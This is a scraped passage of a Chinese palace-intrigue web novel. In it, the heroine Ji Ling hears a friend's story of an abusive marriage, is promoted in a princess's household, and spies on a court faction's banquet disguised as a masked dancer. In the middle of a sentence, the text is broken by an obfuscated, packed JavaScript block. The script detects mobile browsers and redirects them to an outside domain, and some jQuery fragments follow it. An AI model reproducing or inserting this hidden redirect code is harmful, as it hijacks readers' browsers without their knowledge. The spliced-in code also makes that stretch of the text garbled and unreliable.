“她刚开始也反抗过,只是反抗之后,只能招致更厉害的毒打,甚至他连自己的孩子也不曾放过。为了孩子,她只能忍气吞声。我知晓了此事之后,终于明白,他当年找上我,也只不过是为了我家的钱财,以及我的理家之能,从始至终,毫无真心,全是算计。” “我给了他一纸和离书,他怒火中烧,又将我毒打一顿,我的背上留下了一道疤痕,是他拿着我的嫁妆妆奁匣子砸过来的。这一次,我再不能忍,一纸诉状,将他告到官府。” “官府因为他是秀才,将我驳回,只说夫为妻纲,我既然嫁给他了,就该要恪守本分,不能心生他念。” “你说这是否太过荒唐,夫为妻纲,夫不正,则妻可改嫁。韩非子当年写下此言,定然也想不到后世之人这样随意曲解他的本意。我的父亲为了我,不惜散出千金,四处求告,最终为我求来了一份和离书。” “离开他之后,我于心不忍,将那个姑娘和她的孩子也带了出来,给了他们一笔足够过下半生的钱财,让他们走得远远的去,再也不要回来。我与父母也举家搬迁,离开了我们家乡。” “后来,我父母过世,我一人支起全家,我再也没有了倚仗,只能靠我自己。” “于是我又犯傻,想着寻个男人替我照看支应,让我不必那么辛苦。可是每一个流连到我身边的男人,不是为了我的美貌,就是为了我的家财,从未有过一个真心实意的。我受了一次又一次的伤,终于是看清楚了。” “可那样的地方,女子抛头露面做生意本就容易被人指指点点,因为那些前赴后继的男人,我就成了街头巷尾的□□。他们人前羡慕我穿金带银,人后指责我人尽可夫,前脚承了我的恩情,后脚就要对我落井下石。” 说了太久,楼饮晴停下,歇息了一会儿,她感觉喉头干得很,只是四处也没有茶水解渴。 季泠拉着她的手,轻轻说:“这样的境遇,从不是我们的错,可他们全来指责我们,就因为我们是弱者。甚至其中,还有他们的母亲、姐妹。她们也曾有类似的遭遇,却将这样锋利的剑,再一次指向和她们一样的人。” “终究是这世道的嘴巴是属于男人的,他们为自己说尽了好话,将所有罪责都推诿到女人身上,骗了一代又一代。世人都说痴男怨女,可你听听,男人就是痴情种,女人就是深闺怨妇,褒贬早已藏在人心里。痴情的多说男人,可我看啊,爱埋怨的才是男人,只有我们女人,跟了一个人,才是彻彻底底地痴情一生,连理智也抛诸脑后了。” “世人对男人好像总是特别宽容优待的,从他们诞生开始就生怕饿死般拼命浇水,却不想就是这样,让他们打从根里就开始烂了。” 季泠觉得悲哀,她们要怎么样做,才能替女人争回属于自己的道义,属于自己的名声,属于自己的尊严。 “所以我发现,逃离是没用的,我逃了一处的流言蜚语,后头还有百十处等着我呢。之后,借着在京城的生意,我得了机会,进了公主府。” 季泠不由得替她叹息:“可是饮晴,你还是没能逃过这些人追赶而来的唾沫。” 楼饮晴耸耸肩,将双手放在身后,撑起来整个自己:“那又如何?总比从前要好。不积硅步无以至千里,这样的道理,你我都明白。我们这些蝼蚁,要撼动他们建造千年的牢笼,谈何容易。只是有一人的加入,就多了一份希望,哪怕是一日一口的啃食,终有一日,我们也能将这个笼子给啃处一个洞来。” 两人抬头看着天,云层慢慢散去,月亮很有分寸,直到楼饮晴言尽过往,它才露面。 “你看,只要我们足够耐心,总会守得云开见月明。” 不知道是楼饮晴言语中的触动,还是自然万物不因男女之别而公平地赠与她们光明和芬芳,季泠没能忍住,流了泪。 楼饮晴听见了她的抽泣声,转头看来,不再是往日那副风情招摇的模样,她伸出手,温柔地替季泠抚去眼泪。 “妹妹,你是比我聪明的。但越是聪明的人,在感情上越是看不开,总是想要搞清楚缘由,弄清来去,才好说服自己。可感情之事,不能细纠,无端而起,无疾而终,太过正常。人生如逆旅,我亦是行人。何必在意结果,反正终究会腐烂。喜欢就去追随,不爱那就放下。只是无论如何,不可让旁人胜过你自己去。你是高天鸿鹄,莫要被误入的燕雀诱偏了方向。” 也许是因为那日楼饮晴的开解,也许是因为季泠自己想通了些,又或许是因为公主府内接二连三的事务让季泠脱不开身。 随后的半年多,季泠已经鲜少再想起齐无戈了,只是听到林微说,齐无戈领了封赏,又回了山东。 她淡淡地点了点头,心中荡起一阵涟漪,但却很快平静下来。 于道各努力,千里自同风。 他们都有自己的职责与期望。 林微进府后,特训之中被吴师傅发掘了她的巧手,培养她学习制作各类暗器。 季泠仍然没有找到自己的天赋所在,每次的特训日,还是如同过去一样,跟随着不同的人,在各个领域浅尝辄止一番。 在冬至当日,也就是她完成第一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446295|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次任务的半年之后,公主晋了她为公主府咨议参军。 季泠受宠若惊,她才进府不到两年,这样的晋升速度,越过了太多人去,她自觉才不配位。 公主也不客气:“过去半年,你替本宫办的所有事情,桩桩件件,无有不成的,本宫本该给你一些奖赏。过了年,你就二十了,该到独当一面的年纪。封你为咨议参军,也不打算真让你担任这个职位,只是暂时先替你挂了这个名头,记入档中。等到你日后名副其实、业有所成,再为你举行加官仪式。” 季泠哪里在意什么加冠仪式,有了这样的名头,已然说明了公主对她的重视,这是对她能力的莫大肯定。 放眼东西三所那么多能人才士,这样的好事竟然能让她捡着,她真该给宁川的齐天大圣烧上十柱香,感戴公主的提携之恩。 季泠走出文渊楼,就看见在门前等候已久的沈赟偕,她俯身行了礼:“沈姐姐。” 沈赟偕没有偏头,只是斜着瞥了她一眼,云淡风轻地嗯了一声,就走进殿内。 其实凭借季泠如今的身份,已经可以不用向沈赟偕行礼了。 只是正如公主所言,她尚未行加官仪式。她也担心尚未尘埃落定之前会突生变故,只是私下里和林微与楼饮晴分享喜悦。 “执庸,看不出来啊,你已然要越过一院的那几位了。” 楼饮晴打趣她,季泠的升官之路真是顺畅至极,她来公主府这么多年,就没见过像她这样时运兼济的有福之人。 季泠还是个年纪轻轻、心比天高的姑娘,逃脱不了对功名利禄的渴望和对世俗成功的追求,楼饮晴恭维两番,她的嘴都快翘到天上去了。 楼饮晴嫌弃地拍了拍她,叫她清醒一些:“得了得了,别得瑟了。你骤然升官是好事,但你什么好处也没捞着啊。可别竹篮打水一场空。” 楼饮晴说得确实没错,虽然公主在档中记了她,可她眼下还住在三院之中,虽然她已经和二院、一院的姑娘们一样,开始替公主出谋划策、执行任务,但她的俸禄待遇却没有变动。 林微却不这样认为:“要我说,公主这样做才是为执庸长远打算的。她才来不久,立刻就越过那些在府内兢兢业业多年的幕僚去,树大招风,总会引来嫉恨的。倒不如先按下来,等执庸资历够了,再名正言顺地封赏。” “这话确实有理,还是林微想得周全些。莫说旁人了,就算是我,看见你的顺遂,都难免有些泛酸呢。” 楼饮晴睨了季泠一眼,嘟囔着嘴。 “你既有沉鱼落雁之姿容,又有以柔克刚的手腕,还要来羡慕我?那这可比升官还要让我开心呢。” 季泠嘴上也是不饶过她。她知道楼饮晴是什么性子的人,既然认定自己做了朋友,就不会在背地里耍阴谋诡计。 只是季泠也并非才不配位,加官前后的数月,她又为公主得力地办了不少事。 譬如去年夏日刑部的刑狱改革,公主也想一力推进,季泠就替她出了妙策。 “明理导民,定律绳顽。若能将推动刑狱改革一事,以明文律法约束上下,朝臣才会有所忌惮,百姓才能得到教化。” “京城有刑部坐镇盯着,自然是有改必行的。只是地方州府是否愿意花费心力去做,是否会阳奉阴违,又是否会滥用职权,借改革一事为自己牟取私利,这些都需要从长思量。” “此外,我在狱中注意到一事,刑部大狱的关押和牢房划分并没有什么章法,抓来的犯人,哪里空着就往哪里塞,没有顾及犯案先后、案子轻重、嫌犯年纪等,甚至不分男女,全部混淆。” “若是一个女人,不堪夫君欺辱,失手打死夫君,被抓入大牢之中,却和一些杀人越货之流关押在一起,岂不是让这个女子出了狼窝,又入虎穴吗?” “此类事情数不胜数,只是进了大狱,许多人就失了尊严,失了为自己辩驳的机会,虽不至于是冤案,但苦命之人雪上加霜,总归让人不忍。” “此言有理,你就去拟一份详细的措施,本宫找机会交给刑部。” 后续季泠看到,刑部拟定的新律之中,就有这么一条:轻重异处,男女异室。 34. 流音献舞(上) 夜里,季泠风尘仆仆归来,还未换下夜行衣,就在屋舍门前见到了在此久侯之人。 到达文渊楼,季泠如往常一样行礼,公主招她到跟前,轻声说:“刚得到消息,张瑛、周平、刘辅钦等人明日在流音阁设宴。” “这几人凑在一起,应当不是简单的欢娱享乐之宴。殿下的意思是?” “前几日因贪墨案下狱的吏部侍郎孙立言,是钱莘的门生,这些年手中掌握不少钱莘党羽的不法之证。如今他被下狱,咱们大可以借用此事推波助澜一番,由三法司会审,挖出一些东西...也好肃清一波尸位素餐的官员,杀鸡儆猴。” “吏部尚书高大人身体不好,已经递折子请求致仕多回。但如今朝堂中没有能够担此高位的人选,陛下一直未曾准许...孙立言被下狱,吏部现下只剩一个赵元轩,他升任侍郎未满两年,政绩平平,难当大任...张瑛该是着急了,吏部如今没有他的人,怕是要有些动作,找个候选人坐在这个位子上。” 公主点头,示意季泠再靠近一些。 “张瑛是先皇亲自擢选、父皇一手提拔的帝师,在朝堂深耕数十载,谨慎非常,一时间难以找到突破口。若是再让他将势力渗入吏部,日后更是难以拔出。本宫要你去流音阁探听,看看他们接下来的行动是什么,我们也该做些准备了。” 明日……流音阁…… 黯夜沉沉,宫灯昏昏,季泠的半张脸隐匿在暗色中,遮掩了她的沉思。 她一时间无法想到极佳的应对之策。 自她进官起至今已有一年,为公主鞍前马后,夙夜匪懈,从无休息。 精神紧绷,单打独斗,她强撑着,又不得不忧心自己耽误大事。 明晚宴会的众臣皆是目达耳通之流,她该如何混入其中,又神不知鬼不觉地探听到消息呢... 公主见她一脸担忧,拍拍她的手,让她放心:“流音阁管理舞姬的王妈妈。必要时刻,她能助你一臂之力。” 管理舞姬的王妈妈…… 季泠酸绞的思路忽而被公主安抚中的钩针松解。 “多谢殿下为臣考虑周全。” 公主将她扶起,看着她轻轻地说到:“全须全尾地回来,记得,任何时候,你的命才是第一位。” 太阳快要升起了,阳光照进殿内留下细细长长的白光,烛火之光逐渐被掩盖住。 季泠点头,余光里闪过隔扇前的光芒。 她应声告退了。 换上短褐,粗略乔装,季泠站在流音阁前,随意路过般张望。 南面临街,北侧环湖,丹楹刻桷,错彩镂金。在此等酌金馔玉之地,一位替班的小跑堂低头随着人流进入了流音阁。 东来西回,添酒进茶,半日已过,小跑堂将流音阁上下摸了个清。 她端着酒盏快步上前,不小心冲撞到一位手脚伶俐、熟捻应场的小二。 “你眼瞎啊!” “诶哟小哥,真是我的错!”撞上的一瞬间,她当即高举木托盘,手掌一转,堪堪稳住,这才没有让彼此遭了殃。 “欸,你是新来的?瞧着眼生的很。”小二嫌弃地拍了拍袖子,抬眼皱了皱眉。 她立刻谄媚笑道:“您是眼尖,前几日掌柜的招了几个新伙计,我朋友应上了。偏巧昨晚我找他喝酒,不知吃了什么冲着了,肠胃时不时发作。他说着,今日有大官人来,千万怠慢不得的,要我替他一日班呐!” “你这毛手毛脚的,到时候冲撞了官爷怎么行!快去快去!” 小二斜眼看着他,撇撇手准备走了。 没成想这新来的小伙计像个赖皮虫似的跟着他,殷勤不停,倒是把麻烦的活儿都替他做了,让他也有了个小跟班,他便也摆了摆谱,给她指点了一下当班的事务。 “张哥跟你说,我在这干了多年,亲眼见着掌柜的换了两三拨呢。要说流音阁的长老啊,一个是我张爷,另一个也就是王妈妈了。” 她手上仍忙不迭地端着送给下一位客官的果子,一边崇拜地赞叹。 眼见事情少了起来,小伙计抓空张了口:“张哥张哥,其他弟兄告诉我,大官人心情好,给的赏钱便多了...” 她不好意思地收了嘴,而后又讨好地笑了笑:“咱们不如一块去,这赏银拿了,小弟与您五五分成,如何?” “甭想了,前头我也想去的,结果你猜怎么着,最先到的千户大人在雅间内抓住了窃听的探子,立刻派人悄声捉拿了,我正巧在给旁边的客人送酒,看见苗头不对,赶紧躲开了。而后那屋子里的人都撤出来了,往阁楼里头去了,我估摸着是要去千帆榭呐。” 张小二的手一指,她瞳孔不由自主地收缩。 张党会面地点变了…… 她略微失望道:“这些大官人也忒草木皆兵了...那张哥怎么不往那去呀?这样的贵客,可不是要张哥亲自去才算体面!” “甭说了!我算个屁!千帆榭在玉湖中心,唯有小船前往,管的严!我们这样的人是不让过去的...也就那些歌舞乐人要博大人们一笑才..." 张小二话还没说完,他的小跟班猛地就被路过的一个大汉撞到,小伙计的短褐瞬间就被一滩酒渍浸透了。 张小二正想开口替她骂回去,她立刻拉住:“不碍事张哥,您先去吧,我去换身干净衣裳再来寻您。” 他只好接过她手中的东西,摆摆手让她先去。 摸进一处不起眼的小间,季泠利落地将短褐换下,将早已准备好的衣裳换上,对着铜镜仔细易容一番,又耐心地沏了一壶茶。 透过滚水之上飘荡的水汽,她看见一层朦胧不清的漏网。 若是失败了…她不敢细想。 最里侧小间的门再次打开,出来一位侍女,神态自若地往舞乐坊方向走去。 舞乐坊内,王妈妈正替每位姑娘看着她们的妆容服饰,一群姑娘们坐在一块儿小幅度顺着一会儿该上场的舞蹈。 季泠如置身花丛一般,左右流连,为她们端茶送水。 欢颜笑语间,一阵不合时宜的异声想起,王妈妈即刻闻声而来。 看着先前还在挑选口脂颜色的舞姬,如今却冷汗直流,她皱着眉:“你这又是怎么了?” “我也不知怎么了,小腹疼的很…”< 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这舞姬的站位本也不算特别显眼,王妈妈转头看了看她那副要死不活的模样,当下做了决定。 “不要紧,一时辰虽紧,至少有些底子,你跟着她们过一场也是行的。抬起头来我看看。” 季泠一顿,扭捏半晌,方才抬头。 “诶呀真是难看...”屋内掀起一阵啰唣之声,众人都瞧见,她的脸上有一块难以遮掩的胎记。颜色虽不深,可却占了半边脸颊,一下就破了相。 季泠一听,立刻又委屈地低下头,手指无措地扣着茶盘。 王妈妈啧了一声,似在叹息,回头扫过众人,议论之声才逐渐平息。 “带上吧,别污了贵人的眼睛。”季泠抬头一看,王妈妈递过来一条长面纱。 “是。” 流水汤汤,千帆榭独立于湖中,前头柳树垂于湖边,晚风徐徐而来,吹落了几片叶子,轻飘飘地落在水面上。 船舫从岸边过来,破开湖面的平静,带来了一串白波青澜,驱得叶子也逐水漂零去了。 千帆榭中,酒水茶点,瓜果小菜都已备齐了。 “大人,都已经排查干净了。前头阁子里的探子现下已经下狱,下官已经派人好好审讯一番。”李彰钺回复道。 他这个千户是靠着周大人做起来的,今日这样的场合,他本来是没资格来的。也不知为何,今日得了这份,登堂入室一回,他自然该把周大人的吩咐妥帖地办好来。 刘辅钦看了他一眼,避开他的话题。 “今日这处地方倒是不错,清风徐波,天高月明。张大人不喜热闹,这样清净少人的地方是最好的。” “是啊是啊,下官想着,雅阁虽好,但人多眼杂的,怕是如刚刚一样,生出许多事端来...这个东家派头大的很,非说定好了的地儿不能改...还是多亏了周大人的面子,咱才能到这样的好地方来!” 周平闻言嘴角一抽,这蠢材... 又抬眼看了看首座的张大人,似乎根本没听见一般,慢慢喝着茶。 35. 流音献舞(下) 眼看气氛冷了下来,周平开口:“咱这空喝着茶酒,也忒没意思了。流音阁的舞乐班子可是京城一绝。不如先赏舞听乐,才不辜负这样的好风景。” 乐人先上前热场,丝竹管弦之中,觥筹交错之间,季泠一双眼隐匿在众多美目之中。 此番议事的有七人,中间坐着的是张瑛,左右两侧各三人,右侧三人面对着她,倒是正好让她看清。 右侧三人分别是都督周平、东城兵马司指挥使吴登封和千户李彰钺。左侧首位应该是礼部尚书刘辅钦,后两人未说话,又背对着她,也看不清是谁。 几曲暖场,座间几人推杯换盏,看似热络地扯了些不相干的事情,倒真叫旁观者以为,几人确实是公务过后相聚闲聊的朋友。 季泠心里着急,恨不得将耳朵贴到前头,但又不能做的太显眼。 正当她借着调整衣服,想走到舞姬队列的最前方时,却被一人重重地挤了一下肩膀。 来者不善呐,她皱眉看着那个舞姬。 “挤什么挤什么!”她回头看见季泠,嘲讽道:“哟,你不过是个端茶递水的奴婢,今儿不知撞了什么好运气,和我们一块儿献舞,还不知收敛着,想争到最前头去,让贵人看见你不成!” 那舞姬气势汹汹,也带动四周的姐妹瞪着她。 就因为季泠,她们不得不戴上面纱,无故要遮掩住精心妆点的面容,心里早已不畅快了。 季泠暗道不妙。她本是巴不得低调些,在无人的角落完成任务,没成想误打误撞被曲解为争宠的敌人。 王妈妈见这场面,疾步走来,低声怒斥道:“争什么!怎样的时候了!” 季泠见状,手在腕间一拨,一只镯子顺着长长的舞袖悄没声的落到地上。她将袖子一抻,长袖回到她手间,低眉顺眼地解释道:“王妈妈,是奴婢的错,我的镯子不小心丢了,是奴婢的姐姐赠予的,心里着急想寻找,不注意挤到了这位姐姐,在此向这位姐姐陪不是了。” 她屈膝作礼,而后弯腰捡起镯子亮出来。 “在这儿呢,奴婢好找一会儿,冒犯各位了。” 她言辞恳切,将话圆的滴水不漏,反叫那几个姑娘有气没处撒。 倒是王妈妈一看,略带气意地拉着她走到后头一处较为空旷之地,准备训斥她。 “这儿虽不在最前头,能眼观六路,但靠近中亭侧围,听得更清些。”王妈妈见大家不再看过来,小声说道。 “多谢。”季泠轻声说。 王妈妈点点头,拂袖离去。季泠躲在众人身后,侧耳凝神。 “去年北方旱灾刚过,东南倭寇侵袭不断,都是需要用钱安抚民心,休养生息的时候。今年流年不利,南方涝灾频发,湖广多处河流决堤,国库本就空虚。 杨镇作为转运使,知法犯法,将这笔银子昧下,以次充好,引发流民暴动。提刑司怕被问责,隐瞒不报,误了最佳的处理时间。如今事情压不住,皇上虽未问责,但已亲自下旨将此事移交三法司会审。 孙立言这次是撞到枪口上了,皇上怕是要杀鸡儆猴,让朝臣们老实一些。安排他在吏部十来年,好不容易爬到了这个位子,就这样毁了,实在是可惜…” “…孙立言被参,前几日被捕,如今案子还在都察院,负责此案的佥都御史左德民一向是个铁面无私的顽固,哪怕刑部如今有我们的人,怕也是无能为力。”季泠皱眉,此人是监察御史甄坚。 “孙立言不吐出些真东西,定是不行的。他虽看起来老实本分,可暗地里没少搜罗把柄,极刑之下,怕是…”周平应声。 “孙立言这步棋是废了。无论如何,不能让他落入他人手中,他说出些什么倒罢了,再给他加上一条诬告之罪。若是钱党一众人拿捏住什么,那才是难办的…” “既然如此,辅钦,你处理吧…威逼也好,利诱也罢。利落些,不然他家人该担心。”张瑛漫不经心的声音透过中亭的竹帘与环侧的绿植传入季泠耳中,她不寒而栗。 就这么谈笑间,一条人命就没有了。他们为孙立言准备的裹尸布,下面掩藏着的,更是绵延不绝的腌脏,不计其数的冤魂和秘密。 “皇上这几年越来越重视吏治,隐有倾向寒门之心。需要一些人在吏部替我们看着些,免得出什么乱子。”张瑛开口,扫了扫在座的众人。 “是,张大人…” 骤然提携一个自己人到这样的地位,并不容易。之前的张廷丰就是前车之鉴。 他本是张瑛族内远亲,受其提拔,年纪轻轻坐到了中城司马兵的副指挥使。后竟然受人蛊惑,在职期间寻衅打死了定国公的外甥,口无遮拦地说出一些张家辛秘。 陛下虽然轻轻放下,只治了他失察之罪,但已然有撬动他势力的想法。后来张瑛拉拢人心,网罗同党便更加谨慎。他决不允许如今任何人动摇他的地位。 季泠正欲专注谛听他们之后的重点,却见前头的姑娘们已经列位待发,准备上场了。 她小心地提着裙摆,匆忙跟上她们。 头上的舞饰太重,压得她不敢抬头,生怕一个不小心,甩了出去,被当作刺客抓起来。 步入中亭,四周的烛火顿时明亮起来。七双眼睛在中亭之间来回交换游荡,季泠后背热麻劲儿一阵又一阵袭来。 乐声响起,她才随着众人抬头,猛不及的就和左首第二个人对上眼。 是他! 季泠呼吸一滞,后背的热意袭上脖颈之间,叫她舞动之间,更加呼吸不畅。 他看见,季泠极力往中间与右侧跳去,可惜站位早已排好,她的努力皆为枉然。只能硬着头皮在他面前继续。 “孙宅看起来风平浪静,但据说,孙家已经好几日未见人进出了。钱莘的动作兴许比我们想象的,要更快。” 季泠四处瞟着,既要看着自己的动作与姑娘们保持同频,又要分神观察场上七人。 偏偏这舞她许久没跳过,艰难跟下来,又不能暴露自己的慌乱。 可越是这样紧张,她似乎越觉得自己神游物外,脑子里已经不顾分析几人的谈话 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随着脚步变化,季泠努力调整呼吸,思绪顷刻间恢复平稳。再次不经意间与他眼神相撞,季泠坦然地笑了一瞬,随即转身,借由水袖与舞姬们的遮掩,垂眼沉思。 左首的第二人正是她的先生徐行。他今日为何会出现在这个场合? 去年,她与他在刑部大牢相见时,他不是与江阔正打擂台吗?怎么会出现在张瑛部下的宴会之中… 她不得不注意到,徐行自入场到现在,一直没有发声,只静静地听着张瑛几人谋划。 徐行收回眼神,侧头听着。如今张瑛向他示好,怕也是想借他安一双在刑部的眼睛。 今天这场宴会他本也可以像往常一样推脱,可既是逆水行舟,又怎能不借风力呢。 他想掺入吏部很久了…这倒不失为一个好机会。 清除探子,临时改变地方,这些倒都是小事,他一点儿也不在意。 唯一的意料之外,就是在此遇见了故人。 那么多的蒙面舞姬,他也不知道究竟是怎么回事,竟一眼就认出她来。 上回装书生,这回装舞姬。简直可以自创一个戏班子了。 说她行为胆大冒失,可见她行事却又谨慎有据。 他不经意地看了一眼座上的张瑛。 虽然不知道如今她是为谁在做事,但这样的场合她不该来的,风险太大了。 钟鼓齐鸣,季泠的长袖向他抛来又落下。他的手心似乎被水袖的边缘擦过,泛起一阵轻痒,他握紧了拳,嘴角忍不住动了动,看向她。 真的不怕被发现吗… 季泠又跳向一边,仿佛根本没看见他。 他倒不知道,天天在建州那茶山里、大海边长大的姑娘,嘴里天天念叨着要酬己壮志的姑娘,舞竟然也跳的这么好。 裙襟摇曳,掩袖轻斜,身姿绰约,步履盈盈如轻云飘过,裙边款款似水上清莲。 再不出挑,也已经能引得在场看客侧目了。 已经不再是个小姑娘了啊… 徐行端起酒樽一饮而尽。 36. 多方试探 酒过三巡,刘辅钦屏退众人,只留七人亲信在水榭之中。 季泠已经没有理由再逗留在此,只能随着舞姬乐师立于中亭,垂首朝着七位大臣行了礼,在侍卫的夹道中乘船离开。 舞姬们坐在船舱里,乐盈盈地聊天调笑着。 少女们轻快的声音荡漾在碧波之中,如春日群鸟啁啾。 若真要说来,这些舞姬乐人也还是姑娘家,有的比季泠小了不少,自幼苦练技艺,夏天酷暑,冬日严寒,也是艰研不辍。 只可惜,清歌徐舞再美,也只能供这些富商高官闲时取乐;再好些的,也就入了文人雅士的眼,在流芳千古的诗词歌赋里留下只身片影。 哪怕真有一两个知音伯乐,最终也难逃世俗。 她们共乘一船,来路却大不相同了。 季泠一人坐在船尾,望向湖中心的千帆榭。 快到深夜了,湖上的风清泠泠地吹过来,打得她一激灵。 前榭后阁歌舞升平,余下满城是万籁俱寂。 她有些烦闷,将面纱一把扯下,闭上眼,袒着脸去迎风,深深地吐了一口气。 她不知道自己为什么抑制不住地焦躁,可能是因为没有找到合适的时机留下来,听完他们的后计;也可能是因为突然遇到了徐行。 徐行,极有可能是处在暗处的敌手。 这打得她措手不及。 扬起的青纱与摇摆的柳枝间,他看到她的形单影只,她任由风吹乱的头发,吹着她的长袖也如流水般在空中起了波澜。又看到她摘下了面纱,将头左摇右摆,兴许是心烦意乱的姿态。 看着篷船渐行渐远,直至船尾只剩下一个黑点,在湖面留下一条有去无回的不归之路,最终渐渐消失在水中,恢复平静。 “润旻,你在看什么?” 张瑛忽地出声,徐行才将思绪抽回,镇静又恭敬地说道:“没什么,张大人。许是先前贪杯,多喝了几杯,风一吹倒是把人吹醒了。” 周平闻声看过去,刚好看到徐行转头回来,粗声豪放地大笑几声,“咱们徐大人向来清正自持,不近女色。莫非刚刚哪个女娇娘勾了你的心去,让你看上了?” 张瑛等人倒也因这话笑了起来。 不过俗人,男欢女爱,饮酒作乐,他们乐得见此,多少总要打趣几句。 徐行听了有些许的不适,但也未作声,只应了句:“周大人说笑了,没有的事。” “怎的没有!我可是瞧见了,刚刚一个舞姬可跟徐大人对上了眼呐!那身姿一转,徐大人眼睛都不动了!”李彰钺迫不及待,这类话题他一向擅长。 刘辅钦也笑了,替他开解:“各位莫要打趣润旻了。这大好景致,润旻乃雅士,流连须臾,也是常事啊!” 徐行微笑,顺坡而下,转回话头与众人商议起来。 宴会散场,张瑛为首先行,与众人告别。 徐行走得缓,落在了最后。刘辅钦借着与周平告别的当口,余光一瞥,慢下脚步,直到徐行不得不与他并身而行。 “润旻,今日张大人之言,你可明白?”他率先开口,目视前方。 “下官愚昧,还望刘大人指点。”徐行微微颔首,给刘辅钦一个继续的机会。 “吏部侍郎的位置,下面没有几个能坐稳的。虽然张大人门生弟子无数,但或是心有二意,或是才能不足,资历平平。依我看啊,这个位置给你,是再适合不过。”刘辅钦侧目想看看徐行的反应。 徐行面上总是浅浅笑意,待人如沐春风,看起来也毫无野心。什么都有,却似乎什么都不想要,且没有任何把柄,这样的人,如果与他们为敌,是很危险的… 徐行给了让他满意的答复:“下官景仰张大人、刘大人多年,心生敬佩,自甘效力。” 上了马车,徐行轻舒一口气。这样的宴席,一字一句的斟酌,扯皮陪笑的逢迎,绵里藏针的打探,他实在倦怠。 徐行靠在窗边,轻捏眉头。好在,今天他的诚意给到了,可他们后手如何,他还需思量。总不能叫自己从染坊而过,却真洗不干净。 车内闷得很,徐行掀开一小块帷裳透透气,继而看到了一个身影。 夜深了,街上暗沉沉的,只有沿街几个大铺子挂着的灯笼和高悬的圆月为稀疏行人照明。 季泠穿着侍女的樱色暗花短衫,解了前头跳舞的发髻发饰,随意地用木簪挽了头发,往公主府的方向快走着。 今夜她也累极了。也许是她还历练不够,没办法做到算尽一切,了如指掌,做好万全准备。 她好几日没安睡了。 身后马车辚辚,她不由得加快脚步。 “季姑娘,留步。” 她听到熟悉的声音,停了下来,却没有转身。 其实她大可以不必理会,快步走开,徐行总不见得跳下来逼她吧。但她还是站定了。 藏着掖着也没什么意思,反正徐行对她了如指掌。她不如顺势而为。只是不知,如今她再卖这份师生情谊,还有没有效果。 季泠飞速地思考着,直到抱月走到她旁边邀请她,她才回身,迟疑地上了马车。 徐家马车不算奢侈,但也算宽敞,符合仪制。轿中矮几上摆放着几卷书,还燃着檀香。 徐行已经从侧窗边挪到正中,给她指了指牖侧的位置。 季泠坐定后,有些局促,先小幅度地行礼示意:“徐先生安好。” 徐行见她低头紧张的样子,不免发笑:“不必紧张,我又不会吃了你。” 徐行打趣道。季泠一听,不小心扑哧一声笑了出来,却叫徐行定了睛。 “你…”徐行看着她变化了的容貌,以及脸上的浅色胎记,略作停顿。 “先生早知我的伎俩,何必奇怪。”季泠摸了摸脸侧,无所谓地回答。 倒是坦然。 “今日你不该这样冒险前来。张瑛、刘辅钦、周平这几人在朝中浸淫几十年,眼神锐利,一旦出差错,你今日就难逃一死了。” “先生怎知我是冒险前来,而不是深思筹谋后的行动?况且先生一向不与朝中各党有所交集,今天怎么也出席宴会了?” 徐行轻轻叹了一口气,他原本只是想日行一善,没想到倒是剑拔弩张起来了。只是他在刑部见 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季泠连忙推拒:“不必了先生,在徐家边的檀山巷把我放下就行。” 徐行不容拒绝:“更深露重,你一个女子在外头孤身走着,岂不是太过显眼?容易惹人怀疑的。” “永和巷。”季泠回答。 快到徐府,徐行吩咐后,抱月又继续驱车前行。 空气中忽地又安静了下来,只留马车噔噔前行的声音,伴随着车前挂着的两盏六角冰裂纹琉璃灯在轻轻晃动。 徐行拿起本书,自顾自地翻着。 季泠突然想起他们师生初见的那日,似乎也是如此。徐行站在书架边翻着书,她坐在一侧无所适从。 檀香袅袅,季泠看着轻烟发呆,忍不住皱了眉。 徐行抬眼看见:“怎么?身体不适吗” 季泠努努嘴,看着香炉问到:“先生喜欢檀香?” “倒也算不上喜欢,附庸风雅一番罢了。只是有时燃着,能叫人心静一些。” 季泠盯着这一炉香,青白的烟升起又消散,复又开口:“心静?我看倒也不尽然。这香熏人很,闻了让人闷得慌。” “你不喜熏香?” “学生喜欢草木本味。” “两者各有所长。” “都是聊以自娱罢了。”她话接的太快,见徐行不再出声,再次后悔自己的唐突,继而老实保持缄默。 到了永和巷,季泠道了别就下了马车。 徐行撩开帷帘,看着季泠走进了瑞元客栈,不久后,二楼一间房便亮了灯。 “走吧。”徐行吩咐道。 亮灯的那间房内,窗子的缝隙中夹着一个人影。季泠侧身见到徐行离开,等待须臾,下了楼。 穿过后院,进了西厢,又从里头一个隐蔽的门里出去,过了一条无人无舍的小弄,再转入一个小门,才到了公主府的东三所。 回到屋内,季泠草草收拾了,沐浴洗漱后,便上床入睡。这夜,她睡得很安稳。 37. 长柳胡同 第二日清晨初辉里,季泠受召到文渊楼向公主复命。 “先头孙立言被捕,最着急的是钱莘,我们误以为他是钱莘的人,手里有钱莘的证据。可根据昨日微臣所闻,兴许是张瑛等人迷惑了众人。” 公主闻言皱眉:“你是说,孙立言是张瑛的人?那为何钱莘还乱了阵脚,着急去运作此事?” “或许,孙立言手里掌握的,不是钱莘的证据,而是张瑛的。而且不仅是张瑛,周平等人皆有把柄在他手中。此人狡兔三窟,与张瑛等人从未交心,在吏部观望多年,替他们办了不少事,却也给自己留足了后路。我们都以为他是被张党陷害,实则是他动作太大,才被弹劾捉拿。钱、张两人相争许久,首辅之位迟迟没有落定,皇上的偏向又琢磨不透。若是钱莘从孙立言手中拿到这份证据,既能借了孙立言的手,自己又坐收渔翁之利。” “钱莘此人,柔佞阴毒,若是张瑛败下,内阁中又无人与他抗衡,对朝堂更加不利...”公主不免头疼。 张瑛虽说近几年因为年事渐高,有些独断专权,对手下人的约束不足,还常有包庇之象。但比起无所不用其极的钱莘而言,也算是一个可用的老臣。 